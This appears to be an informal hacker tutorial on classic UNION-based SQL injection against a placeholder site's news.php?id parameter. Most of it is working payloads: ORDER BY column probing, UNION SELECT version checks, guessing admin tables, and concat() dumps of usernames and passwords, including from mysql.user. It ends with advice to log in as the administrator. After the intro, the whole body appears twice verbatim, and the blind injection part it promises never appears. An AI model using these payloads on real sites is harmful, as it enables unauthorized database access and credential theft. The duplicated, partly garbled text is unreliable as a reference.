First of all: What is SQL injection?
It's one of the most common vulnerability in web applications today. It allows attacker to execute database query in url and gain access to some confidential information etc...(in shortly).
1.SQL Injection (classic or error based or whatever you call it)
2.Blind SQL Injection (the harder part)
So let's start with some action
1). Check for vulnerability
Let's say that we have some site like this:
http://www.site.com/news.php?id=5
Now to test if is vulrnable we add to the end of url ' (quote), and that would be http://www.site.com/news.php?id=5', so if we get some error like "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." or something similar that means is vulrnable to sql injection
2). Find the number of columns
To find number of columns we use statement ORDER BY (tells database how to order the result). So how to use it? Well just incrementing the number until we get an error.
Code:
http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error
(we get message like this Unknown column '4' in 'order clause' or something like that) that means that the it has 3 columns, cause we got an error on 4.
3). Check for UNION function
With union we can select more data in one sql statement. so we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2).)
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works
4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try -- it's a comment and it's important for our query to work properly. let say that we have number 2 on the screen, now to check for version we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar. it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/* if you get an error "union illegal mix of collations (IMPLICIT COERCIBLE) ..." i didn't see any paper covering this problem, so i must write it
what we need is convert() function i.e. http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/* or with hex() and unhex()
i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version
5). Getting table and column name
Well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version. we must guess table and column name in most cases. common table names are: user/s, admin/s, member/s ...
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc... i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good ) we know that table admin exists... now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name) we get username displayed on screen, example would be admin, or superadmin etc... now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name) we seen password on the screen in hash or plain-text, it depends of how the database is set up i.e md5 hash, mysql hash, sha1... now we must complete query to look nice for that we can use concat() function (it joins strings)
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon) (there is another way for that, char(58), ascii value for
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed usernameassword on screen, i.e admin:admin or admin:somehash. when you have this, you can login like admin or some superuser if can't guess the right table name, you can always try mysql.user (default) it has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
It's one of the most common vulnerability in web applications today. It allows attacker to execute database query in url and gain access to some confidential information etc...(in shortly).
1.SQL Injection (classic or error based or whatever you call it)
2.Blind SQL Injection (the harder part)
So let's start with some action
1). Check for vulnerability
Let's say that we have some site like this:
http://www.site.com/news.php?id=5
Now to test if is vulrnable we add to the end of url ' (quote), and that would be http://www.site.com/news.php?id=5', so if we get some error like "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." or something similar that means is vulrnable to sql injection
2). Find the number of columns
To find number of columns we use statement ORDER BY (tells database how to order the result). So how to use it? Well just incrementing the number until we get an error.
Code:
http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error
(we get message like this Unknown column '4' in 'order clause' or something like that) that means that the it has 3 columns, cause we got an error on 4.
3). Check for UNION function
With union we can select more data in one sql statement. so we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2).)
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works
4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try -- it's a comment and it's important for our query to work properly. let say that we have number 2 on the screen, now to check for version we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar. it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/* if you get an error "union illegal mix of collations (IMPLICIT COERCIBLE) ..." i didn't see any paper covering this problem, so i must write it
what we need is convert() function i.e. http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/* or with hex() and unhex()
i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version
5). Getting table and column name
Well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version. we must guess table and column name in most cases. common table names are: user/s, admin/s, member/s ...
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc... i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good ) we know that table admin exists... now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name) we get username displayed on screen, example would be admin, or superadmin etc... now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name) we seen password on the screen in hash or plain-text, it depends of how the database is set up i.e md5 hash, mysql hash, sha1... now we must complete query to look nice for that we can use concat() function (it joins strings)
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon) (there is another way for that, char(58), ascii value for
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed usernameassword on screen, i.e admin:admin or admin:somehash. when you have this, you can login like admin or some superuser if can't guess the right table name, you can always try mysql.user (default) it has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
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